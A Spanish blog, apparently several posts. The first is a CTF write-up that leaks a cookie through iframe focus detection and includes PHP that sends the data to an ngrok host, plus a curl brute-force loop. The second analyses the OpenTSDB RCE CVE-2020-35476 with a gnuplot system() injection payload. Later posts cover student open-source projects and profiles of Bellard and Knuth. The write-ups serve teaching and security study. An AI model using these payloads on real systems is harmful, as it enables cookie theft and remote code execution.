Writeup WaloW3b

Walo Web nos propone dos botones, WaloCheck y WaloMsg. El autor del reto se ha preocupado también de crear un diseño de web ideal para dejarnos ciegos.  Gracias por el detalle, @jorge_ctf 🙂 Al pulsar en WaloCheck, podemos indicar una URL que será visitada por un navegador lanzado con Selenium (inicialmente con un FirefoxDriver, aunque por algún problema técnico se pasó a ChromiumDriver). 

Si en lugar de WaloCheck pulsamos en WaloMsg, se nos ofrece un formulario con un único input text para informar a alguien de que hemos pasado la prueba. Es extraño, porque no hay action, ni submit, … 

Afortunadamente, el reto incluye el código fuente usado internamente. Desde ahí podremos ver cómo está programado WaloCheck, WaloMsg y el browser lanzado por Selenium.

https://github.com/juananpe/walow3b

Instalar Redis, Selenium, Drivers

Lo primero que suelo hacer en estos casos es montar todo el reto en local para desarrollar más cómodamente el exploit. Suelo abrir una terminal con iTerm2 y la divido en paneles. 

Vamos allá. El reto usa redis para almacenar las URLs que le pedimos chequear, así que ponemos en marcha redis, no sin antes meterle un bind a la IP local en el fichero de configuración (/usr/local/etc/redis.conf):

$ redis-server /usr/local/etc/redis.conf

Podemos comprobar que el server está bien lanzándole un ping:

$ redis-cli -h 192.168.1.129 ping

Luego dejamos un panel abierto contra redis para comprobar los checks pedidos:

$  redis-cli -h 192.168.1.129 

Por ejemplo, si pedimos (desde nuestro localhost) chequear google.com, veremos algo como:

redis>  KEYS *
127.0.0.1
redis> get 127.0.0.1
https://google.com

Abrimos ahora otro panel para tener lanzada la aplicación Flask que se encarga de responder a walocheck y walomsg. Dejé preparados un script con las variables de entorno necesarias:

$ cat ./start.sh
DB_HOST=192.168.1.132
DB_PORT=6379
export DB_PORT
export DB_HOST
python3 web.py
$ ./start.sh

Y otro para dejar lanzado el script que se encarga de lanzar un browser headless, extraer una URL de redis y lanzar la conexión:

$ cat start_browser.sh
FLAG="meinventolacookie"
SLEEP_BETWEEN_QUEUE=3
BROWSER_SLEEP=10
DB_HOST=192.168.1.132
DB_PORT=6379
export FLAG
export DB_PORT
export DB_HOST
export BROWSER_SLEEP
export SLEEP_BETWEEN_QUEUE
python3 browser.py
./start_browser.sh

Todo listo para empezar a estudiar el código de https://github.com/juananpe/walow3b/blob/main/web.py  y de 

https://github.com/juananpe/walow3b/blob/main/browser.py

a fondo. Empecemos con browser.py. Vemos que se lanza un browser Chromium en modo headless primero contra «https://127.0.0.1:4000/noExists» y luego se establece una cookie para las siguientes llamadas a 127.0.0.1, con 

driver.add_cookie({«name»: «flag», «value»: environ.get(«FLAG»), «httpOnly»: True, «sameSite»: «None», «Secure»: «True»}) 

Aquí no entendí muy bien por qué se hacía esa primera conexión contra noExists… hasta que revisé la documentación de Selenium, en concreto la sección de add-cookie:

https://www.selenium.dev/documentation/en/support_packages/working_with_cookies/#add-cookie

«First of all, you need to be on the domain that the cookie will be valid for. If you are trying to preset cookies before you start interacting with a site and your homepage is large / takes a while to load an alternative is to find a smaller page on the site (typically the 404 page is small, e.g. http://example.com/some404page)»

OK, según la documentación hay que tener a Selenium apuntando al dominio al que se le va a asignar la cookie. Para que sea algo rápido, recomiendan apuntar a una página de carga rápida, como un HTTP/404.

En el método driver.add_cookie, vemos que se establece una cookie con la flag (mi tesoroooo) y muy interesante, un sameSite: None. Esto viene a querer decir que la cookie será enviada al navegador (siempre que se pida algo del dominio https://127.0.0.1:4000) incluso aunque esa petición proceda de un iframe incrustado en una página de otro dominio. Por ejemplo, podemos crear una página en http://dominio.com/exploit.php y dentro de la misma, incrustar un iframe que apunte a 127.0.0.1:4000. El iframe recibirá la cookie. Alguien puede decir, joe, pues ¿fácil no? Se crea un JS que acceda al document del iframe desde exploit.php y se captura la cookie. Fin. Bueno… sabiendo que es un reto de 600 puntos seguramente algo se nos esté pasando… Realmente no es posible hacer lo indicado por problemas de seguridad cross-site.

Me gusta esta respuesta de StackOverflow: https://stackoverflow.com/a/6170976/243532
«You can’t. XSS protection. Cross site contents can not be read by javascript. No major browser will allow you that. I’m sorry, but this is a design flaw, you should drop the idea.»

Si intentamos hacerlo, recibiremos un bonito error del estilo:
«Uncaught DOMException: Blocked a frame with origin «http://dominio.com/exploit.php» from accessing a cross-origin frame.at»

Aquí me quedé bastante bloqueado. Incluso pensé que era un bug del diseño del reto y que al autor se le olvidó meter una opción de Selenium que deshabilita esa protección:

options.add_argument(‘–disable-site-isolation-trials’)

Pero tras preguntarlo, la respuesta fue: «A walo no le gusta meterle más directivas a su browser… 😜»

Mal asunto. Así que, mientras seguía pensando en cómo saltarme esa restricción, pasé a estudiar el código del script web.py.

En la ruta index nada de interés, salvo una cookie flag con el valor whyisitnothere?.
En la ruta walocheck se guarda la url indicada en redis y poco más.
¿Y qué hay de la ruta walomsg? Esta es más interesante:

@app.route("/walomsg", methods=["GET"])
def walomsg():
    flag_p = request.args.get("flag")
    flag_c = request.cookies.get('flag')
    msg = request.args.get("msg")

    print(flag_p, flag_c, msg)

    if not flag_c or not flag_p or not msg:
        return "Something went wrong..."
    return render_template("check_msg.html", msg=search('[A-Za-z" ]+', msg).group(), check=flag_p in flag_c) # Make sure flag is valid

La ruta espera dos parámetros GET (flag, msg) y una COOKIE flag. Si están las tres, muestra el template check_msg.html pasándole una condición y una restricción. La restricción es que el contenido de la variable GET[‘msg’] sólo puede tener letras del alfabeto [A-Za-z» ]. Así que poco margen para una inyección XSS. Pero la condición «check» es muy interesante. Nos está diciendo que check será true cuando GET[‘flag’] sea un substring de COOKIE[‘flag]. Y tal y como hemos dicho antes, COOKIE[‘flag’] es la cookie con la flag que Selenium nos enviará a http://127.0.0.1:4000. Oh, esto se pone divertido. Pero seguimos teniendo un problemón: no podemos acceder a ese contenido porque el navegador no nos lo permite.

Me gusta recapitular para ver qué demonios me estoy dejando en el tintero. Vamos allá. 1) La idea principal es crear una página http://midominio.com/exploit.php . 2) Esa página incluirá un iframe con src = http://127.0.0.1:4000/walomsg 3) Le voy a pedir a /walocheck que chequee http://midominio.com/exploit.php 4) Selenium enviará la cookie al iframe. Y aquí tengo dos opciones: si paso las variables GET[‘flag’] y GET[‘msg’] correctas, se visualizará un pequeño formulario con un input text:

https://github.com/juananpe/walow3b/blob/main/templates/check_msg.html

Si paso las variables incorrectas, no se visualizará dicho formulario. Pero claro, «visualizar» es un eufemismo, recordemos que ver, lo que se dice ver, no vamos a ver nada porque la petición va por Selenium a nuestro dominio. Hay que conseguir como sea consultar por JS si se cargó un iframe con el input text (las variables get y flag son correctas) o sin el input text.

Esta es la clave en este tipo de pruebas. Tener como mínimo un bit de información, true o false. Con eso nos bastará para determinar la cookie. El problema es que no podemos acceder a ese bit de información por un problema de seguridad del navegador (consultas JS cross-site están prohibidas por seguridad). Aaaaargghhh… estando tan cerca me tiraba de los pelos por no encontrar la forma. Me preguntaba a ver cómo conseguir saber que se cargó un iframe con un input sin poder consultarlo directamente por JS. Si al menos saltara algún evento que pudiera capturar… ¡BANG! ¿Podría hacer saltar un onfocus en el el input? No podemos inyectar nada que nos sirva en GET[‘msg’]… Pero hay una forma de poner el foco del navegador en un input… siempre que ese input tenga un id o un name asociado. Veamos el código:

Vaya, vaya… un id=»msg». ¿Y cómo conseguimos que ese id tome el foco? Con un URI fragment en la URL: #msg
https://en.wikipedia.org/wiki/URI_fragment

Vamos a probar en mi máquina local. Asigno una cookie local en el navegador («whereitis», por ejemplo) para probar, y lanzo la siguiente consulta.

http://localhost/walomsg?flag=w&msg=cualquiercosa#msg

Si mis cálculos han sido correctos, el input con id=msg debe tomar el foco:

¡Tachán! Bueno, algo hemos avanzado. Ahora «sólo» queda saber cómo diablos detecto por JS que ese input ha tomado el foco (lo cual quiere decir que en GET[‘flag’] hemos pasado un substring que forma parte de la cookie).

Si intentamos incrustar en la página padre algo como:

document.getElementById(«idframe»).contentWindow.document.getElementById(«msg»).xxxxxx

Obtendremos el error que nos está mordiendo siempre de acceso a iframe entre DOMs cargados de distintos orígenes. Pero hay una forma más sencilla de saberlo, sin intentar acceder directamente al frame: document.activeElement

Si el foco lo tiene el input, document.activeElement será X
Si el foco lo tiene el body del documento principal, document.activeElement será Y

Y un último detalle. Al frame le llamaré exploit, así que para detectar la condición a), haremos lo siguiente: if (document.activeElement.name == «exploit» ) . Ahora queda exfiltrar este TRUE. ¿Cómo? Una opción es inyectando una imagen de mi servidor (y tener monitorizado mi server para saber en qué momento se pide dicha imagen). En concreto, así:

if (document.activeElement.name == "exploit" ) {
<?php
echo "document.write(\"<img src='http://e4a57a0a358d.ngrok.io/" . $_GET['msg'] . "'>\");";
echo "console.log('" . $_GET['msg'] . "');";
?>
}

(el server ngrok.io es un dominio dinámico que permite tunneling http…)

Tenemos todos los elementos necesarios para ir extrayendo la cookie, letra a letra. Aquí, idealmente habría que hacerlo por JS, creando un iframe, pasarle los parámetros adecuados, comprobar si pillamos foco. Si no, borrar iframe, ir a por la siguiente letra del alfabeto y repetir la jugada.

Lo intenté: https://gist.github.com/juananpe/23cdf8b2b40ba6fc9b02179123d709d2
pero estaba cansado y mi script no terminó de funcionar O:)

Así que recurrí a la fuerza bruta. Probar primero todo un charset, letra a letra, para saber de qué letras se compone la cookie y luego, teniendo ese juego reducido de posibles caracteres, ir una a una a partir de CYBEX{…. hasta la última llave }.

Eso funcionó. Me llevó unas horitas, pero funcionó 🙂

Este es el exploit que permite el leak de la cookie, letra a letra:
https://gist.github.com/juananpe/f4e784d11bf10fd955be2a495891eef5

El juego de caracteres era este:

word=$(echo '} a c f i l m s v w A B C E L O S T U X Y _ } { ¡ ! ¿ ? `' | fold -w 1)

y el encantamiento que probaba, letra a letra, era este:

for x in ${word}; do echo $x; curl --silent -k --data-urlencode "url=http://e4a57a0a358d.ngrok.io/exploit.php?msg=CYBEX{$x" https://104.210.220.165:2052/walocheck > /dev/null ; sleep 30; done

Y por fin, pude dormir unas horas.

Analizando la vulnerabilidad CVE-2020-35476

Hoy he tenido un rato para trastear un poco con un nuevo CVE que me ha llamado la atención.

En la prueba de concepto (PoC) se ve que es un RCE sobre Opentsdb (CVE-2020-35476). RCE = Remote Code Execution, es un pez gordo, no un xss del montón 🙂

OpenTSDB se define como una base de datos de Time Series, distribuida, escalable implementada sobre HBase. El proyecto tiene web propia, y el código fuente en GitHub.

Si nos metemos en el issue, publicado el 18/11/2020, vemos que el código fuente afectado -en Java- no parece complicado:

private static String popParam(final Map<String, List<String>> querystring,
                                         final String param) {
        final List<String> params = querystring.remove(param);
        if (params == null) {
          return null;
        }
        final String given = params.get(params.size() - 1);
        // TODO - far from perfect, should help a little.
        if *(given.contains("`") || given.contains("%60") || 
            given.contains("&#96;")) *{
          throw new BadRequestException("Parameter " + param + " contained a "
              + "back-tick. That's a no-no.");
        }
        return given;
      }

Se limita a obtener los parámetros a través de un hashmap y comprobar que en dichos parámetros no hay una tilde invertida (acento grave o backtick, en inglés). ¿Por qué filtrar una tilde invertida? Porque esos parámetros irán a formar parte de un script para plot que a su vez, será ejecutado como un shell script (mygnuplot.sh) Y dentro de ese script podríamos ejecutar cualquier comando que llegue como parámetro si este está entre `tildes invertidas`. 

https://github.com/OpenTSDB/opentsdb/blob/master/src/mygnuplot.sh

A primera vista parece que el filtro es correcto. Para probarlo, abrimos un jshell y creamos una mini-clase Java que exponga el código afectado:

jshell> 

public class Proba { public static String popParam(final Map<String, List<String>> querystring,
                                              final String param) throws Exception {
             final List<String> params = querystring.remove(param);
             if (params == null) {
               return null;
             }
             final String given = params.get(params.size() - 1);
             // TODO - far from perfect, should help a little.
             if (given.contains("`") || given.contains("%60") ||
                 given.contains("&#96;")) {
               throw new Exception("Parameter " + param + " contained a "
                   + "back-tick. That's a no-no.");
             }
             return given;
           }  }

Y lo probamos:

jshell> List<String> q = new ArrayList<String>();
jshell> q.add("`id`")
jshell> Map<String, List<String>> querystring = new HashMap<String, List<String>>();
jshell> querystring.put("q", q);
jshell> Proba.popParam(querystring, "q");
|  Exception java.lang.Exception: Parameter q contained a back-tick. That's a no-no.
|        at Proba.popParam (#1:11)
|        at (#6:1)

El resultado es correcto, lanza una excepción cuando intentamos engañarle con un comando entre acentos graves (`ìd`). Pero otra forma de ejecutar comando en GNU Plot es a través del comando system: http://www.bersch.net/gnuplot-doc/system.html

Y eso, claro, no lo filtra:

jshell> q.clear()
jshell> q.add("[33:system('touch/tmp/poc.txt')]")
jshell> querystring.put("q", q);
jshell> Proba.popParam(querystring, "q");
$13 ==> "[33:system('touch/tmp/poc.txt')]"

Lo curioso es que el bug sigue sin arreglar y ya empiezan a salir exploits, por ejemplo, éste del proyecto nuclei:

Más referencias:

CVE Database: https://www.cvebase.com/cve/2020/35476

Proyectos Open Source en TFGs

Cada año en la escuela de ingeniería de Bilbao, los alumnos de 4º de Ingeniería Informática deben desarrollar su TFG. Muchas veces el proyecto consiste en implementar algún tipo de aplicación, normalmente desde 0. Algo que no cuadra con lo que se encontrarán ahí fuera…

Suele haber trabajos muy buenos pero la gran mayoría termina en los cajones de la biblioteca (repositorio online ADDI) https://labur.eus/MsIOT. Este curso 2019/2020 decidí cambiar ese destino.

La idea era convencer a tres alumno/as brillantes para que su TFG estuviera dirigido a mejorar una aplicación de código abierto usada a nivel internacional: https://github.com/bardsoftware/ganttproject…@GanttProject

Tres alumnos/as (Oihane, Anaitz y Urtzi) dieron el paso y han estado trabajando duro para corregir errores de la lista de bugs:

https://github.com/bardsoftware/ganttproject/issues

Este mes Oihane ha presentado su TFG con los resultados (9.8! 💪). Trabajar para mejorar una aplicación de software libre nos ha traído múltiples beneficios, tanto a los alumnos como al profesor. Y también el propio proyecto se ha visto beneficiado. Por múltiples razones:

Lo primero que han aprendido es a trabajar con el flujo de trabajo GitHub Flow https://guides.github.com/introduction/flow/… En concreto, cómo crear un fork, cómo mantenerlo actualizado con upstream, cómo crear ramas, generar Pull Requests al proyecto…

También aprenden a crear issues (documentar bugs o nuevas funcionalidades) y a discutirlos, a crear PRs y a hacer frente a los code-review 🙂

Image

Deben persistir en el empeño durante días… Es fácil que un PR pueda llevar mucho más de lo esperado. Se acabó eso de “compila y funciona, ¡ya está!” No, ahora hay que pasar un control de calidad.

De hecho, aparte del code review, el código de los alumnos debe pasar los tests automáticos ejecutados por el sistema de integración continua de GanttProject.

Otro de los objetivos era crear documentación que realmente sirva en el futuro. En concreto, que sirva para que otros desarrolladores puedan empezar a contribuir con una curva de aprendizaje más suave que estos tres pioneros/as.

Me gustan los esquemas de diagramas de clase que han desarrollado de forma colaborativa

Image

Y sobre todo, un tipo de diagrama al que no le sabemos poner nombre, pero que considero de los más importantes. Son pantallazos de la aplicación etiquetados con el nombre de las clases principales que implementan alguno de los componentes. Un ejemplo:

Image

Esto, que puede parecer una tontería, es vital en un proyecto que contiene casi 800 clases Java y 95000 líneas de código.

Image

Finalmente, el propio proyecto open source GanttProject también se ha visto beneficiado. Estos son los commits en la rama master de cada uno de los alumnos (que a su vez sirven para dar lustre a sus curriculum con posibilidad de verificación pública):

Image

El curso que viene intentaré continuar con la idea. Y tal vez, extenderla hacia una asignatura (aunque me da vértigo, por el tiempo que requiere) en lugar de centrar los trabajos sobre OSS sólo en TFGs. ¿Alguien se anima a colaborar? 🙂

One-man-army programmers (iii)

Si tuviera que apostar por un único programador, sería por Fabrice Bellard (Grenoble, Francia, 1972, 48 tacos). No tiene el glamour de Knuth y seguramente su nombre sea desconocido para muchos. Pero si os digo que es el creador de FFmpeg o QEMU, seguro que apreciáis más su trabajo 🙂


FFmpeg es el sistema open source para la manipulación de audio y vídeo más usado. Bellard comenzó a programarlo en 2000, bajo un pseudónimo, «Gérard Lantau». 

Corren rumores de que en su última creación, QuickJS, un intérprete JS ideal para dispositivos con pocos recursos, también juega con pseudónimos, en esta ocasión atribuyendo parte de su trabajo a un tal Charlie Gordon. https://bellard.org/quickjs/

QEMU es un sistema de emulación hardware que permite instalar máquinas virtuales con casi cualquier sistema operativo sobre el sistema anfitrión. Muy útil por ejemplo para probar, ejecutar o depurar programas en arquitecturas distintas a las de tu máquina.

Seguramente Bellard sea uno de los mejores programadores de la historia. La complejidad de desarrollar FFmpeg, QEMU o QuickJS es tremenda, y requiere de una tenacidad al alcance de pocas personas. 

Fabrice ha ganado tres veces el concurso internacional de programas C ofuscados, donde las reglas, hilarantes, intentan llevar el compilador de C al límite con programas obtusos y enrevesados, pero con resultados impresionantes.

En 2001 ganó el concurso precisamente con otra de sus creaciones: el Tiny C Compiler (tcc), un compilador de C diseñado para trabajar en máquinas con pocos recursos. 

Tras publicar esta obra se dedicó a reestructurar el código para hacerlo legible y que otros programadores pudieran usarlo y construir sobre él.

Seguramente, ese dominio del arte de la programación influyó en Bellard para conseguir programar un algoritmo que le permitió calcular un récord mundial de dígitos de PI 

(2.7 trillones en 90 días). No parece una gran hazaña… 

…hasta que te dicen que para conseguirlo usó un único PC de escritorio (de menos de 3000€) en lugar  de un supercomputador de millones de dólares (size matters!  🙂 .

La lista de logros de Fabrice Bellard es enorme (https://bellard.org/) y sigue produciendo aplicaciones y algoritmos a día de hoy, por ejemplo este emulador de Linux programado

en JS y ejecutable desde el navegador, con arquitectura x86 o riscv64.
https://bellard.org/jslinux/

Fabrice no ofrece entrevistas, pero hay artículos que muestran facetas interesantes de su vida, como éste, un retrato de un programador super-productivo.

https://smartbear.com/blog/test-and-monitor/fabrice-bellard-portrait-of-a-super-productive-pro/

Una de las características de Bellard, aparte de su inteligencia y su magia, es que tiene la capacidad de trabajo y tenacidad requeridas para ir refinando sus construcciones, día a día, detalle a detalle, hasta conseguir una obra de arte, usable, útil, importante

De nuevo, algo muy complejo de conseguir y que debería guiar nuestros pasos.

En HackerNews se preguntaban cómo una sóla persona puede llegar a crear todo esto. Y algunas de las respuestas resuenan más que otras:

https://news.ycombinator.com/item?id=20411154

it’s less about productivity but more about focus and hard work.

Hard work, math, learning and hard work again.

I suspect one of the reasons he is so productive is because he shuns all social media.

Brendan Eich, el CREADOR de JavaScript lo resumió muy bien:

Actualmente Bellard trabaja en AmariSoft, una compañía para el desarrollo de soluciones software LTE/5G (https://www.amarisoft.com/about-us/)

One-man-army programmers (ii)

El siguiente en mi lista es un abuelete on steroids. Donald Knuth (1938, 82 años). Uno de los titanes de la informática. Creó el sistema de tipografía TeX, base de LaTeX, usado para la composición de documentos científicos con alta calidad tipográfica. 

Tardó ocho años en programarlo (1970-78) y todo empezó con un enfado.

Cuando terminó de redactar el segundo volumen de su serie de libros «El arte de la programación de ordenadores», esperaba recibir una galerada con la misma tipografía que el primer volumen, creada en una máquina Monotype 

En esta máquinas cada letra se funde en un molde de metal que luego, agrupadas, se usan para imprimir las copias. El estilo le encantaba a nuestro abuelo.

Pero esa máquina dejó de existir y los resultados de la nueva no satisfacían a Knuth. Así que escribió un documento en el que trataba de explicar su visión de TeX como nuevo sistema de tipografía. Me gusta el primer párrafo introductorio (recordad, un documento de 1977)

«Even though I don’t understand TEX very well myself yet, I think the best way for me to get

started is by trying to explain it to somebody else.»

https://www.saildart.org/TEXDR.AFT%5B1,DEK%5D1

Me gusta porque me recuerda una técnica de debugging: para entender mejor cómo funciona un programa y detectar el error que te está volviendo loco, trata de explicar el funcionamiento del mismo a otra persona, o incluso a ti mismo – como si hablaras para otro-, línea a línea.

Incluso hay una técnica de debugging conocida como rubber duck debugging https://en.wikipedia.org/wiki/Rubber_duck_debugging

donde la idea es explicarle el código a un patito de goma que tengas al lado (la cara con la que te mirarán los compañeros no debe influirte 🙂

Knuth recibió el premio ACM Turing en 1974 por sus contribuciones al análisis de algoritmos, en particular por sus contribuciones a la serie de libros «The art of computer programming» (TAOCP), que aún sigue escribiendo 

Son 7 volúmenes en total y actualmente está redactando el 4º, del que ya hay 6 fascículos.  Una máquina el tío Donald.

Hay dos anécdotas que ilustran la forma de vivir, pensar y trabajar de Knuth. La primera está relacionada con su obsesión por la precisión y detalle. 

Su compromiso con la calidad en la redacción de los volúmenes del TAOCP es tal que se permite el lujo de pagar $2.56 por cualquier error tipográfico (o errata) que descubras en alguno de sus volúmenes (¿por qué esa cifra? Bueno, «256 pennies is one hexadecimal dollar» 🙂

Otra anécdota de Knuth es que no usa el email. Hay muchas razones, pérdida de tiempo, ansiedad por intentar responder a todo o por esperar que los demás hagan lo mismo… pero me gusta la primera razón que él mismo explica en este fragmento de vídeo: https://www.youtube.com/watch?v=QS8qwMna8_o

“my role in life is not to be on the top of things as much as to be on the bottom of things”

Me encanta esta filosofía y creo que es lo que deberíamos lograr, aunque en tiempos de Twitter, Twitch, Facebook, WhatsApp y demás, es realmente complicado desengancharse y centrarse.